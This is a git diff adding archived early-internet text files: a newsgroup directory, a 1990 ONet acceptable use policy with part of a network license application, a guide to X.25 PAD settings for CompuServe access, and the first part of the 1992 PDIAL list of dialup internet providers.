project +uw.shoshin.changes Shoshin project +uw.shoshin.system Shoshin project +uw.stats Statistics department +uw.sun-owners for people who have Suns +uw.sylvan Sylvan project +uw.sylvan.os Sylvan project +uw.sys.amiga for people with Amigas +uw.sys.apollo for people with Apollos +uw.sys.atari for people with Ataris +uw.sytek Sytek communication system +uw.talks upcoming seminars +uw.test testing +uw.tex TEX text formatting +uw.ucc.fortrade University Computing Committee +uw.unix arguments about Unix +uw.usystem u-kernel and u-system +uw.vlsi VLSI group +uw.vlsi.software VLSI group +uw.vlsi.system VLSI group +uw.vms people who have to use VMS +uw.watserv1 watserv1 users +uw.watshine watshine users +uw.x-hints how to use X windows +uw.x-windows how to use X windows + + +Uxa +--- +Newsgroups in some unknown place. + +uxa.general +uxa.test + +Va +-- +Newsgroups in Virginia, USA. + +va.general For folks in Virginia. +va.test Testing in Virginia. + +Wi +-- +Newsgroups in Wisconsin, USA. + +wi.forsale Items for sale in Wisconsin. +wi.general Items of general interest in Wisconsin. + +Yale +---- +Newsgroups at Yale University in New Haven, CT, USA. For more +information you can try contacting Morrow Long . + +yale.ace-users +yale.ailocal +yale.alfl-bugs +yale.apollo +yale.celerity-users +yale.chinese +yale.cm-users +yale.cs-graduates +yale.cs-undergrads +yale.cs130 +yale.cs170 +yale.cs201 +yale.cs210 +yale.cs222 +yale.cs223 +yale.cs240 +yale.cs260 +yale.cs270 +yale.cs322 +yale.cs323 +yale.cs366 +yale.cs421 +yale.cs426 +yale.cs428 +yale.cs429 +yale.cs440 +yale.cs470 +yale.cs472 +yale.cs524 +yale.cs543 +yale.cs560 +yale.cs570 +yale.cube-users +yale.department +yale.emacs-bugs +yale.emacs-users +yale.encore-users +yale.eng.general +yale.facility +yale.forum +yale.games +yale.general +yale.hp-users +yale.indexing +yale.mac-users +yale.majors +yale.multiflow-users +yale.na +yale.ncube-users +yale.pc-users +yale.rt-users +yale.sequent-users +yale.sun-users +yale.systems-people +yale.test +yale.tex-users +yale.theory +yale.unix +yale.wizards +yale.zoo-users + +York +---- +Newsgroups at the York University in Toronto, Ontario, Canada. For +more information, you can try contacting davecb@nexus.york.edu. + +york.announce Announcements at York University +york.general Postings of general interest at York University +york.ml.big-lan Big-lan mailing list. +york.ml.bind Bind mailing list. +york.ml.canet-status-reports Canet-status-reports mailing list. +york.ml.cmutcp CMUtcp mailing list. +york.ml.future Future mailing list. +york.ml.info-pmdf Info-pmdf mailing list. +york.ml.namedroppers Namedroppers mailing list. +york.ml.nn NN mailing list. +york.ml.onet-status-reports Onet-status-reports mailing list. +york.ml.openbook Openbook mailing list. +york.ml.pcm-dev PCM-dev mailing list. +york.ml.sun-managers Sun-managers mailing list. +york.ml.texhax Texhax mailing list. + +Zer +--- +Newsgroups in Germany. Contact terra@sol.north.de for more +information. Its distribtution mostly is based on some BBS-SW, but +frequently gatewayed into UUCP-News-SW. + +zer.fundgrube.biete +zer.fundgrube.suche +zer.hannover +zer.hannover.allgemeines +zer.hannover.fundgrube +zer.hannover.veranstaltungen +zer.linksys.adressen +zer.linksys.aktuelles +zer.linksys.frauen +zer.linksys.frieden +zer.linksys.internationales.nahost +zer.linksys.osten.ddr +zer.linksys.osten.nordkorea +zer.linksys.osten.rumaenien +zer.linksys.umwelt.allgemein +zer.linksys.umwelt.atom +zer.linksys.umwelt.muell +zer.news +zer.rechtswesen.allgemein +zer.rechtswesen.arbeitsrecht +zer.rechtswesen.verkehrsrecht +zer.t-netz.gateway +zer.t-netz.im_kino +zer.test +zer.z-netz.amateurfunk +zer.z-netz.amiga.allgemein +zer.z-netz.amiga.programmieren +zer.z-netz.amiga.spiele +zer.z-netz.amiga.viren +zer.z-netz.artikel +zer.z-netz.atari.allgemein +zer.z-netz.atari.binaer +zer.z-netz.atari.programmieren +zer.z-netz.atari.spiele +zer.z-netz.atari.viren +zer.z-netz.c +zer.z-netz.datenschutz +zer.z-netz.dbase +zer.z-netz.diskussion +zer.z-netz.fragen+antworten +zer.z-netz.ibm.allgemein +zer.z-netz.ibm.binaer +zer.z-netz.ibm.programmieren +zer.z-netz.ibm.spiele +zer.z-netz.ibm.viren +zer.z-netz.kontakte +zer.z-netz.mac +zer.z-netz.medizin.allgemein +zer.z-netz.modula +zer.z-netz.news +zer.z-netz.points +zer.z-netz.politik +zer.z-netz.recht.allgemeines +zer.z-netz.religion +zer.z-netz.spionage +zer.z-netz.systeminfo +zer.z-netz.telecom.allgemein +zer.z-netz.telecom.btx +zer.z-netz.telecom.datex +zer.z-netz.telecom.fragen +zer.z-netz.telecom.fragen+antworten +zer.z-netz.telecom.modem +zer.z-netz.telecom.telefon +zer.z-netz.umweltschutz +zer.z-netz.uni.mailboxen +zer.z-netz.unix +zer.z-netz.verbrauchertips +zer.z-netz.verkehr +zer.z-netz.vorschlaege diff --git a/textfiles.com/internet/onet b/textfiles.com/internet/onet new file mode 100644 index 00000000..93c55cc7 --- /dev/null +++ b/textfiles.com/internet/onet @@ -0,0 +1,143 @@ + +********************************************************************* + ONet Association + Acceptable Use Policy + DRAFT October 23, 1990 + +Introduction + +The ONet network exists to facilitate the exchange of information in support +of education, research, development, and technology transfer. The network +and its connections to other networks are to be used only in manners that +are consistent with these purposes within the spirit of this acceptable use +policy. + +Each member is responsible for taking appropriate action to communicate this +policy within its organization and to rectify the behaviour of its users who +disregard this policy. + +Organizations within Ontario which wish to make use of the ONet network +should become members of the ONet Association. A member which provides +connectivity between itself and other Ontario-based organizations that are +not members of the ONet Association, must guarantee that no traffic will be +generated onto or accepted over ONet resources to or from that non-member +organization. + +Authentication + +An ONet member must ensure that it can trace any use of the ONet network +from within its organization to the individual who initiated that use. +Identification of the individual might be achieved through a mechanism such +as unique userids or passwords, or through the ownership of the node in +question. Examples of non-authenticating nodes include nodes with public-use +userids or multiple-user userids. Traffic originating from any and all such +non-authenticating nodes within the member's network must not be transmitted +from the member's network into or through the ONet network. + +Acceptable Uses of the ONet Network + +The intent of this acceptable use policy is to clarify by example the +guidelines that apply to determining whether a given use is acceptable or +not. These guidelines are not intended to be exhaustive. The final authority +for determining whether or not a use is acceptable is the ONet Management +Committee. Members are responsible for raising any questionable use with +the committee. Until any use referred in this manner is determined to be +acceptable, it should be considered as unacceptable. + +Uses that fall under one of the following descriptions are, in general, +acceptable: + +1. Uses consistent with the purposes of ONet; + +2. Uses related to instruction, research, development and technology + transfer at not-for-profit organizations; + +3. Uses by for-profit organizations in support of development and + technology transfer projects. + +4. Uses related to the administrative and other support of + activities considered consistent with the purposes of ONet; + +5. Uses relating to billable services, such as the sale of machine time, + provided that the use of the service in question is itself related to + activities consistent with the purposes of the ONet network. + +6. Uses relating to the investigation and support of vendors' products, + such as the distribution of information or technical support material + on request or the discussion of products' relative advantages and + disadvantages. + +Uses that fall under one of the following descriptions are, in general, +not acceptable: + +1. Uses that interfere with the work of other users of the network or + with their host systems, or that seriously disrupt the network, or that + result in the loss of a user's work or system; + +2. Uses related to commercial activities such as the unsolicited + distribution of advertising material; + +3. Uses that might be considered malicious or unethical; + +4. Uses that violate federal or provincial laws; + +5. Uses related to "chain letters" or broadcasting to lists of individuals + in such a manner that might cause congestion of the network; + +6. Uses of the ONet network that result in traffic to any connected + network which violates published acceptable use specifications for + that network. (For example, although there is no limit on the size + of files that may be transferred within the ONet network, or within + the CA*net or NetNorth national networks, there is a specification + that prohibits files larger than 300K from being transferred from + the NetNorth network into or through the BITNET network.) + +********************End of Acceptable Use Policy Document*********************** + +6) Estimate the number of hosts that will be on the network: + + 6a. Initially: 65 + 6b. Within one year: 140 + 6c. Within two years: 300 + 6d. Within five years: 850 + + + 7. Reason: + +We are applying for a Class B license as our requirements now exceed the limits +of a Class C license. Our TCP-IP network has grown to include different +physical LAN types (Arcnet and Ethernet as well as point to point) and has +extended over a wide geographical area (Canada, U.S.A. and England). As well, +having a large and growing population of high-speed Unix workstations mixed in +with PC's and general use Vaxes has led to network congestion in certain cases. +We forsee real problems arising within the next year if we are not able to +create subnets to handle this situation. This, coupled with the fact that we +will exceed the ~255 host limit within 2 years leads us to request the Class B +license. + + + 8. Type of network: Research + + 9. Purpose: To carry out Research and Development for a multi-national + company in the field of Aluminum and related products. + +------------------------------------------------------------------------------- + + + Shawn Allin + Alcan International Ltd., + P.O. Box 8400, + Kingston, Ont., + Canada K7L 5L9 + (613) 541-2178 + + ACCESS@KRDC.INT.Alcan.CA + Bitnet: ACCESS@ALCANKTN + + + + + + + + diff --git a/textfiles.com/internet/packet.txt b/textfiles.com/internet/packet.txt new file mode 100644 index 00000000..9aeda6a5 --- /dev/null +++ b/textfiles.com/internet/packet.txt @@ -0,0 +1,268 @@ + PACKET SWITCHING NETWORKS + Revised 4-Mar-85 + Contains former file GERMAN.TXT (modified) + + +If you are interested in CompuServe access and file transfer through packet +switching networks like those found in some 50 countries all around the world +- read on. I have solved the problem of downloading from CompuServe through +DATEX-P (Germany) and jumped 3 meters high when it finally worked. The +solution applies to other countries also. + + +Contents: +-------------- [1] QUICK INTRODUCTION ----------------------------- +-------------- [2] DETAILED EXPLANATION --------------------------- +-------------- [3] INTERNATIONAL PAD PARAMETERS ------------------- +-------------- [4] NATIONAL PAD PARAMETERS (DATEX-P AND OTHERS) --- +-------------- [5] XMODEM FILE TRANSFER --------------------------- +-------------- [6] PLEASE WRITE ----------------------------------- + + +-------------- [1] QUICK INTRODUCTION ---------------------------------------- + +If you are not interested in the details - the next time you enter CompuServe +via a packet switching network do this: + + - Logon until you see the "User ID:" prompt. (Any time later than this will + also work.) + + - Enter a Ctrl-P (hold down the Ctrl key and press P once). You are now + talking to your network instead of CompuServe. + + - Enter "set 3:126,4:0,5:1,9:0,12:0,118:8,119:21,120:22,125:10" without the + quotes and press Return. + + - Press Return a second time. + + - Enter your user ID and continue as usual. + +This gives you + + - prompt response to Ctrl command characters like Ctrl-C and Ctrl-O, + + - uninterrupted text uploads + + - no disturbing fill characters, + + - cheaper local PAD line editing with Backspace, Ctrl-U and Ctrl-V and mostly + clean lines when in an online conference. + +IMPORTANT NOTES: + +(1) Check if your network's command prefix is really Ctrl-P by entering +Ctrl-P, then a nonsense command, then one Return. If you get a network error +message Ctrl-P is allright. If you get a CompuServe message like ?XXXXXX - +INVALID USER ID - TRY AGAIN / User ID: then Ctrl-P is wrong for you and you +have to ask the network operator for the correct network command prefix or +attention character. + +(2) Your computer may freeze especially after finishing a connection. Type a +Ctrl-Q (hold down Ctrl and press Q) and continue normally. + +(3) See chapter --- XMODEM FILE TRANSFERS --- if necessary. + + +-------------- [2] DETAILED EXPLANATION -------------------------------------- + +THE SYSTEM: Connection to CompuServe is normally done in the following way. + +Async Terminal or Microcomputer - PAD - Packet Switching Network - Gateway - +CompuServe Network + +THE PROBLEM: Using a microcomputer I can hardly afford a direct X.25 channel +to the network. So I use the public PAD (Packet Assembly and Disassembly) +unit provided by the "Post" which accepts the standard async signals, 300 or +1200 bps full duplex. The PAD's behaviour is the source of all potential +trouble. + +Fortunately the PAD can be controlled by the user to such an extent that even +XMODEM and similar file transfers can be facilitated. The standard settings, +however, are completely inadequate, especially for binary file transfers. + +Uploading (from you to CompuServe) is more difficult than downloading because +the PAD normally interprets some special characters send by your asynchronous +terminal or microcomputer which do not occur in the other direction, e.g. +X-ON, X-OFF and PAD command prefixes. + +THE SOLUTION: Let us look at the problems in detail. In the following the PAD +parameter numbers and settings apply directly to the German DATEX-P network. +The international parameters as well as the basic problems and processes, +however, apply to all packet switching networks that are accessed by +asynchronous terminals through PADs. + +PAD COMMANDS: "SET parameter_no : value , parameter_no : value , ..." sets PAD +parameters. "PAR?" lists the current parameter settings. "PROF profile_no" +resets all parameters to predefined values and "PROF? profile_no" lists the +predefined values of profile_no without applying them. Do not key in the +quotes. In most cases you will only need the SET command. + + +-------------- [3] INTERNATIONAL PAD PARAMETERS ------------------------------ + +PAD COMMAND PREFIX: When connected with CompuServe you can still issue +commands to the PAD. A special character (DLE=^P, Ctrl-P, check for your +particular network) switches the PAD into command mode. The following lines +are not sent to CompuServe any longer but are taken as commands by the PAD. +Two consecutive Returns get you back into the connection. For example to set +parameter 3 to the value of 126 and parameter 4 to zero you have to do this: +Key in ^P to switch the PAD into command mode, then key in "set 3:126,4:0". +Do not key the quotes. Finally press Return twice to get out of command mode +again. + +This enables you to change PAD parameters while you are alredy connected. We +need this facility to adjust the PAD to our needs, especially because setting +the PAD parameters before establishing the connection does not always work. +In DATEX-P the parameters change when the connection is established and these +changes are not always favourable. + +You can tell the PAD to let DLE (^P) characters pass unnoticed with "set 1:0". +However you will be able to get into command mode never again during the +course of that connection. For binary uploads "set 1:0". + +PAD ECHO: The PAD will usually echo everything you send back to you. This +enables you to use full duplex transmission so you can see all transmission +errors. For file transfers switch the echo off with "set 2:0". Afterwards +switch the echo back on with "set 2:1". + +FORWARD DATA CHARACTER: The PAD can be told to form a packet and forward it +before the packet is filled completely. This is necessary because often you +will not fill up a packet. Imagine you want to enter a menu selection. You +key just one digit and a Return. Without a Forward Data Character setting the +PAD would now wait for you to fill the remaining 126 bytes of this packet +before it is sent on its way to CompuServe. You will also want the PAD to +forward control characters like ^C and Escape immediately. + +For file transfers, especially binary uploads, it is not desired to forward +packets that are not completely filled for economic reasons. After all you +pay for the packet, not the characters in it (more exactly for the segment). +"set 3:126" to forward data after all control characters and DEL. "set 3:2" +to forward data after Return characters only. "set 3:0" (no Forward Data +Character) for file transfers. + +FORWARD DATA TIME LIMIT: If you have no Forward Data Character you have to +tell the PAD to forward data anyway after a certain time because the transfer +protocol (e.g. XMODEM) will not always fill the packet completely. "set 4:8" +for file transfers. This yields a .32 s limit (8 * 40 ms). "set 4:0" for +normal operation with a Forward Data Character (no time limit). The maximum +value for this parameter is 255. + +X-ON/X-OFF FROM PAD TO DTE: This parameter enables the PAD to stop and restart +your transmission by sending X-OFF and X-ON bytes to your computer. "set 5:0" +if this is not desired. "set 5:1" for uploads. + +There is a minor problem when you allow the PAD to send X-OFFs to you. +Sometimes, especially after finishing or breaking a connection, the PAD sends +an X-OFF and your computer seems to freeze. Simply key a Ctrl-Q (X-ON) and +everything is allright again. + +PAD MESSAGES: You may forbid the PAD to send its own messages to you with +"set 6:0" during a straight text download if you are afraid of "Parity Error" +or similar messages in the middle of a received file. "set 6:1" normally. + +BREAK: There are different PAD reactions to a break signal sent by you. +Parameters 7 and 8 deal with these. Leave them alone, we do not normally use +break signals. + +NUMBER OF FILL CHARACTERS AFTER RETURN: Always "set 9:0" unless you have a +real Teletype that cannot return the carriage in time. + +LINE LENGTH: Always "set 10:0" unless you want the PAD to break long lines +with additional Returns and Linefeeds. (Max value 255) + +X-ON/X-OFF FROM DTE TO PAD: "set 12:0" for binary uploads to make the PAD +ignore X-ON and X-OFF characters. "set 12:1" otherwise. + + +-------------- [4] NATIONAL PAD PARAMETERS (DATEX-P AND OTHERS) -------------- + +DELETE CHARACTER, DELETE LINE, REPEAT LINE, ADDITIONAL FORWARD DATA +CHARACTERS: These parameters allow local line editing performed by the PAD. +With "set 118:8,119:21,120:22" the PAD can be instructed to perform the duties +of the Backspace, Ctrl-U and Ctrl-V commands locally which saves you money +whenever you use these commands. If in doubt +"set 118:0,119:0,120:0,121:0,122:0". + +PARITY: If you use 7 bit with parity you may "set 123:1" to make the PAD check +your parity bit. "set 123:0" for 8 bit character length and for all binary +file transfers. + +DELAY OUTPUT DURING INPUT: Parameter 125 can make the PAD hold incoming data +until you have finished typing a line, a very handy feature for online +conferences. "set 125:10" for a maximum hold time of 10 seconds. Don't +worry, the PAD will not hold all incoming data for 10 seconds when you type. +As soon as you press Return all upheld data will start flowing again. +"set 125:0" for file transfers under protocol. + +INSERT LINEFEED: Try whether "set 126:0" works with your equipment. If the +Return key does not advance to the next line let the PAD echo a linefeed after +each Return sent by you with "set 126:4" which is the standard setting. +(Other settings are: 1 = insert linefeeds after Returns sent by host through +PAD to DTE, 5 = both 1 and 4.) + + +-------------- [5] XMODEM FILE TRANSFER -------------------------------------- + +CompuServe's XMODEM has a special problem. When you initiate an XMODEM file +transfer CompuServe automatically sets a Transparent Profile (which is nice) +but does this just an instant too late. Thus the initial handshaking is +spoiled and the file transfer always gets stuck. + +Fortunately we now know enough to take things into our own hands and control +the PAD ourselves until the CompuServe programmers get this fixed. + +Being too lazy to SET all those parameters individually we can make use of the +Transparent Profile our networks offer. In Germany and Canada and probably +many or all other countries the Transparent Profile is called "PROF 3". + +To start an XMODEM file transfer do this: + + 1. Go to the point in CompuServe approximately one command before starting + the download or upload. + + 2. Enter Ctrl-P (^P, DLE, the network's command prefix, check for your + particular network). + + 3. Type "prof 3" without the quotes and press Return. + + 4. Press Return a second time. You are now back in connection with + CompuServe. + + 5. Issue the last command(s) to start the download or upload process. There + is no echo any more, i.e. you don't see what you are typing. Don't worry, + just carry on. + + 6. After the transfer, if you don't like the standard parameter setting, SET + the parameters again by using a ^Pset command. + + +-------------- [6] PLEASE WRITE ---------------------------------------------- + +Please drop me a line if you have used the information in this file +unsuccessfully or successfully! I will update this file whenever new +knowledge becomes available. Do not send me SIG messages since I do not come +here often, use electronic mail. I would especially like to know: + +Does Ctrl-P work in your network? +Is PROF 3 the transparent profile in your network? +Could you upload straight text? +Could you download with XMODEM? +Could you upload with XMODEM? +Could you locate any error or missing information in this text? +Do you have any other information you think should be included here? +Do you have any other information that might be of interest to me? +Thank you very much for your interest and co-operation. + +NOTE: CompuServe can be reached directly with "0 3132" and also through Tymnet +and Telenet. The numbers are "0 3106,CPS01", "0 3106,CIS02", "0 3106,CIS03", +"0 3106,CIS04", "0 3106 001133", "0 3106 001134", "0 3106 00337300" for Tymnet +and "0 3110 20200202" and "0 3110 61400227" for Telenet. Do not key the +quotes. You may have to substitute the leading 0 by your network's +international prefix like 1 or C or P 1. Often you may omit spaces. You may +substitute "0 3107" for "0 3106" which presumably enforces the use of an ITT +gateway. There is a surcharge for all connections except 0 3132. + +Hans G. Michna 74776,2361 + +------ END OF FILE ------ + \ No newline at end of file diff --git a/textfiles.com/internet/pdial b/textfiles.com/internet/pdial new file mode 100644 index 00000000..72384bfc --- /dev/null +++ b/textfiles.com/internet/pdial @@ -0,0 +1,741 @@ + + The Public Dialup Internet Access List (PDIAL) + ============================================== + File PDIAL008.TXT -- 15 October 1992 + + A list of public access service providers offering dialup access to + outgoing Internet connections such as FTP and telnet. + +Copyright 1992 Peter Kaminski. May be distributed but not sold -- see below. + +Contents: + + -1- Summary: Providers With Wide Area Access + -2- Summary: Area Codes For US Dialins + -3- Summary: Phone Prefixes For International Dialins + -4- What *Is* The Internet? + -5- What The PDIAL Is + -6- List of Providers + -7- How People Can Get The PDIAL (This List) + -8- Appendix A: Finding Public Data Network (PDN) Access Numbers + -9- Copyright and Distribution Of The PDIAL; Other Notices + +Subject headers below are formatted so this list may be read as a +digest by USENET newsreaders that support digests. + +Example commands: rn, "control-G" skips to next section; nn, "G%" +presents as a digest. Sections may also be located by searching for +the desired section number string (e.g. "-1-") from the list above. + +- ---------------------------------------------------------------------- + +~From: PDIAL -1- +~Subject: Summary: Providers With Wide Area Access + + PDN holonet, michnet, portal, psi-gds, psilink, well, world + 800 class, dial-n-cerf-usa, jvnc, OARnet + +"PDN" means the provider is accessible through a public data network +(check the listings below for which network); note that many PDNs +listed offer access outside North America as well as within North +America. Check with the provider or the PDN for more details. + +"800" means the provider is accessible via a "toll-free" US phone +number. The phone company will not charge for the call, but the +service provider will add a relatively large surcharge to cover the +high cost of the 800 service. Other long-distance options are +generally cheaper. + +- ------------------------------ + +~From: PDIAL -2- +~Subject: Summary: Area Codes for US Dialins + +If you are not local to any of these providers, it's still likely you +are able to access those providers available through a public data +network (PDN). Check the section above for providers with wide area +access. + + 201 jvnc-tiger + 202 express + 203 jvnc-tiger + 206 halcyon + 212 mindvox, panix + 213 dial-n-cerf, netcom + 215 jvnc-tiger + 216 OARnet + 301 express + 303 csn + 310 dial-n-cerf, netcom + 313 michnet, msen + 401 anomaly, ids, jvnc-tiger + 408 a2i, netcom, portal + 410 express + 415 netcom, portal, well + 419 OARnet + 508 nearnet + 510 dial-n-cerf, holonet, netcom + 513 OARnet + 516 jvnc-tiger + 517 michnet + 603 nearnet + 609 jvnc-tiger + 614 OARnet + 616 michnet + 617 nearnet, world + 619 cyber, dial-n-cerf, netcom + 703 express + 704 rock-concert + 713 sugar + 714 dial-n-cerf + 718 mindvox, panix + 719 cns, csn + 818 dial-n-cerf, netcom + 906 michnet + 908 jvnc-tiger + 919 rock-concert + +These are area codes local to the dialups, although some prefixes in +the area codes listed may not be local to the dialups. Check your +phone book or with your phone company. + +Most providers listed here are also accessible by packet-switched data +services such as PC Pursuit ($30/month for 30 hours off-peak 2400 bps +access -- call 800-736-1130 for more information), traditional long +distance services, and of course telnet. + +- ------------------------------ + +~From: PDIAL -3- +~Subject: Summary: Phone Prefixes for International Dialins + + +61 2 connect.com.au + +61 3 connect.com.au + +44 (0)81 ibmpcug + +- ------------------------------ + +~From: PDIAL -4- +~Subject: What *Is* The Internet? + +The Internet is a global cooperative network of university, corporate, +government, and private computers, all communicating with each other by +means of something called TCP/IP (Transmission Control Protocol/Internet +Protocol). Computers directly on the Internet can exchange data quickly +and easily with any other computer on the Internet to download files, send +email, provide remote logins, etc. + +Users can download files from publicly accessible archive sites ("anonymous +FTP"); login into remote computers (telnet or rlogin); chat in real-time +with other users around the world (Internet Relay Chat); or use the newest +information retrieval tools to find a staggering variety of information +(Wide Area Information Servers, Gopher, World Wide Web). + +Computers directly on the Internet also exchange email directly and very +quickly; email is usually delivered in seconds between Internet sites. + +Sometimes the Internet is confused with other related networks or types of +networking. + +First, there are other ways to be "connected to the Internet" without being +directly connected as a TCP/IP node. Some computers connect via UUCP or +other means at regular intervals to an Internet site to exchange email and +USENET newsgroups, for instance. Such a site can provide email (though not +as quickly as a directly connected systems) and USENET access, but not +Internet downloads, remote logins, etc. + +"email" (or "Internet email", "netmail") can be exchanged with a wide +variety of systems connected directly and indirectly to the Internet. The +email may travel solely over the Internet, or it may traverse other +networks and systems. + +"USENET" is the collection of computers all over the world that exchange +USENET news -- thousands of "newsgroups" (like forums, or echos) on a wide +range of topics. The newsgroup articles are distributed all over the world +to USENET sites that wish to carry them (sometimes over the Internet, +sometimes not), where people read and respond to them. + +The "NSFNET" is one of the backbones of the Internet in the US. It is +funded by the NSF, which restricts traffic over the NSFNET to "open +research and education in and among US research and instructional +institutions, plus research arms of for-profit firms when engaged in +open scholarly communication and research." Your Internet provider +can give you more details about acceptable use, and alternatives +should you need to use the Internet in other ways. + +- ------------------------------ + +~From: PDIAL -5- +~Subject: What The PDIAL Is + +This is a list of Internet service providers offering public access +dialins and outgoing Internet access (ftp, telnet, etc.). Most of +them provide email and USENET news and other services as well. + +If one of these systems is not accessible to you and you need email or +USENET access, but *don't* need ftp or telnet, you have many more +public access systems from which to choose. Public access systems +without ftp or telnet are *not* listed in this list, however. See the +nixpub (alt.bbs, comp.misc) list and other BBS lists. + +Some of these providers offer time-shared access to a shell or BBS +program on a computer connected directly to the Internet, through +which you can FTP or telnet to other systems on the Internet. Usually +other services are provided as well. Generally, you need only a modem +and terminal or terminal emulator to access these systems. Check for +"shell", "bbs", or "menu" on the "services" line. + +Other providers connect you directly to the Internet via SLIP or PPP +when you dial in. For these you need a computer system capable of +running the software to interface with the Internet, e.g., a Unix +machine, PC, or Mac. Check for "SLIP", or "PPP" on the services +line. + +While I have included all sites for which I have complete information, +this list is surely incomplete. Please send any additions or +corrections to "kaminski@netcom.com". + +- ------------------------------ + +~From: PDIAL -6- +~Subject: List of Providers + +Fees are for personal dialup accounts with outgoing Internet access; +most sites have other classes of service with other rate structures as +well. Most support email and netnews along with the listed services. + +"Long distance: provided by user" means you need to use services such +as PC Pursuit or other long distance services. + +<< a2i >> +name ----------> a2i communications +dialup --------> 408-293-9010 (v.32, v.32 bis) or 408-293-9020 (PEP) 'guest' +area codes ----> 408 +local access --> CA: Campbell, Los Altos, Los Gatos, Moutain View, San Jose, + Santa Clara, Saratoga, Sunnyvale +long distance -> provided by user +services ------> shell, ftp, telnet, feeds +fees ----------> $20/month or $45/3 months or $72/6 months +email ---------> info@rahul.net +voice ---------> n/a +ftp more info -> ftp.rahul.net:/pub/BLURB + +<< anomaly >> +name ----------> Anomaly - Rhode Island's Gateway To The Internet +dialup --------> 401-331-3706 (v.32) or 401-455-0347 (PEP) +area codes ----> 401 +local access --> RI: Providence/Seekonk Zone +long distance -> provided by user +services ------> shell, ftp, telnet, SLIP +fees ----------> $125/6 months or $200/year +email ---------> root@anomaly.sbs.risc.net +voice ---------> 401-273-4669 +ftp more info -> n/a + +<< class >> +name ----------> Cooperative Library Agency for Systems and Services +dialup --------> contact for number; NOTE: CLASS serves libraries/information + distributors only +area codes ----> 800 +local access --> anywhere (800) service is available +long distance -> included +services ------> ftp, telnet, gopher, wais, archie, hytelnet +fees ----------> $10.50/hour + $150/year for first account + $50/year each + additional account + $135/year CLASS membership +email ---------> class@class.org +voice ---------> 800-488-4559 +fax -----------> 408-453-5379 +ftp more info -> n/a + +<< cns >> +name ----------> Community News Service +dialup --------> 719-520-1700 'new' +area codes ----> 719 +local access --> CO: Colorado Springs +long distance -> provided by user +services ------> UNIX shell, email, ftp, telnet, irc, USENET, Clarinet, gopher +fees ----------> $1/hour; $10/month minimum + $35 signup +email ---------> klaus@cscns.com +voice ---------> 719-579-9120 +ftp more info -> n/a + +<< connect.com.au >> +name ----------> connect.com.au pty ltd +dialup --------> contact for number +area codes ----> +61 3, +61 2 +local access --> Australia: Melbourne, Sydney +long distance -> provided by user +services ------> SLIP, PPP, ISDN, UUCP, ftp, telnet, NTP, FTPmail +fees ----------> AUS$2000/year (1 hour/day), 10% discount for AUUG members; + other billing negotiable +email ---------> connect@connect.com.au +voice ---------> +61 3 5282239 +fax -----------> +61 3 5285887 +ftp more info -> ftp.connect.com.au + +<< csn >> +name ----------> Colorado SuperNet +dialup --------> contact for number +area codes ----> 303, 719 +local access --> CO: Ft. Collins, Boulder/Denver, Colorado Springs +long distance -> provided by user; NOTE: CSN serves Colorado only +services ------> shell, ftp, telnet, irc, wais, gopher, email-to-fax, feeds, + SLIP +fees ----------> $1/hour off-peak, $2/hour peak ($250 max/month) + $20 signup +email ---------> info@csn.org +voice ---------> 303-273-3471 +ftp more info -> csn.org:/CSN/reports/DialinInfo +off-peak ------> midnight to 6am + +<< cyber >> +name ----------> The Cyberspace Station +dialup --------> (619) 634-1376 'guest' +area codes ----> 619 +local access --> CA: San Diego +long distance -> provided by user +services ------> shell, ftp, telnet, irc +fees ----------> $15/month + $10 startup or $60 for six months +email ---------> help@cyber.net +voice ---------> +ftp more info -> n/a + +<< dial-n-cerf >> +name ----------> DIAL n' CERF or DIAL n' CERF AYC +dialup --------> contact for number +area codes ----> 213, 310, 510, 619, 714, 818 +local access --> CA: Los Angeles, Oakland, San Diego, Irvine, Pasadena +long distance -> provided by user +services ------> shell, menu, irc, ftp, hytelnet, gopher, WAIS, WWW, terminal + service, SLIP +fees ----------> $5/hour ($3/hour on weekend) + $20/month + $50 startup OR + $250/month flat for AYC +email ---------> help@cerf.net +voice ---------> 800-876-2373 or 619-455-3900 +ftp more info -> nic.cerf.net:/cerfnet/dial-n-cerf/ +off-peak ------> Weekend: 5pm Friday to 5pm Sunday + +<< dial-n-cerf-usa >> +name ----------> DIAL n' CERF USA +dialup --------> contact for number +area codes ----> 800 +local access --> anywhere (800) service is available +long distance -> included +services ------> shell, menu, irc, ftp, hytelnet, gopher, WAIS, WWW, terminal + service, SLIP +fees ----------> $10/hour ($8/hour on weekend) + $20/month +email ---------> help@cerf.net +voice ---------> 800-876-2373 or 619-455-3900 +ftp more info -> nic.cerf.net:/cerfnet/dial-n-cerf/ +off-peak ------> Weekend: 5pm Friday to 5pm Sunday + +<< express >> +name ----------> Express Access - Online Communications Service +dialup --------> 301-220-0462, 410-766-1855 'new' +area codes ----> 202, 301, 410, 703 +local access --> Northern VA, Baltimore MD, Washington DC +long distance -> provided by user +services ------> shell, ftp, telnet, irc +fees ----------> $25/month or $250/year +email ---------> info@digex.com +voice ---------> 301-220-2020 +ftp more info -> n/a + +<< halcyon >> +name ----------> Halcyon +dialup --------> (206) 382-6245 'bbs', 8N1 +area codes ----> 206 +local access --> Seattle, WA +long distance -> provided by user +services ------> shell, telnet, ftp, bbs, irc, gopher, hytelnet, archie +fees ----------> $15/month or $150/year + $10 startup +email ---------> info@halcyon.com +voice ---------> 206-426-9298 +ftp more info -> halcyon.com:~/pub/waffle/info + +<< holonet >> +name ----------> HoloNet +dialup --------> (510) 704-1058 +area codes ----> 510, PDN +local access --> Berkeley, CA +long distance -> [per hour, off-peak/peak] Bay Area: $0.50/$0.95; PSINet A: + $0.95/$1.95; PSINet B: $2.50/$6.00; Tymnet: $3.75/$7.50 +services ------> ftp, telnet, irc, games +fees ----------> $2/hour off-peak, $4/hour peak; $6/month or $60/year minimum +email ---------> info@holonet.net +voice ---------> 510-704-0160 +ftp more info -> holonet.net:/info/ +off-peak ------> 5pm to 8am + weekends and holidays + +<< ibmpcug >> +name ----------> UK PC User Group +dialup --------> +44 (0)81 863 6646 +area codes ----> +44 (0)81 +local access --> London, England +long distance -> provided by user +services ------> ftp, telnet, bbs, irc, feeds +fees ----------> GBPounds 15.50/month or 160/year + 10 startup (no time + charges) +email ---------> info@ibmpcug.co.uk +voice ---------> +44 (0)81 863 6646 +ftp more info -> n/a + +<< ids >> +name ----------> The IDS World Network +dialup --------> (401) 884-9002, (401) 785-1067 +area codes ----> 401 +local access --> East Greenwich, RI; northern RI +long distance -> provided by user +services ------> ftp, telnet, SLIP, feeds, bbs +fees ----------> $10/month or $50/half year or $100/year +email ---------> sysadmin@ids.net +voice ---------> 401-884-7856 +ftp more info -> ids.net:/ids.net + 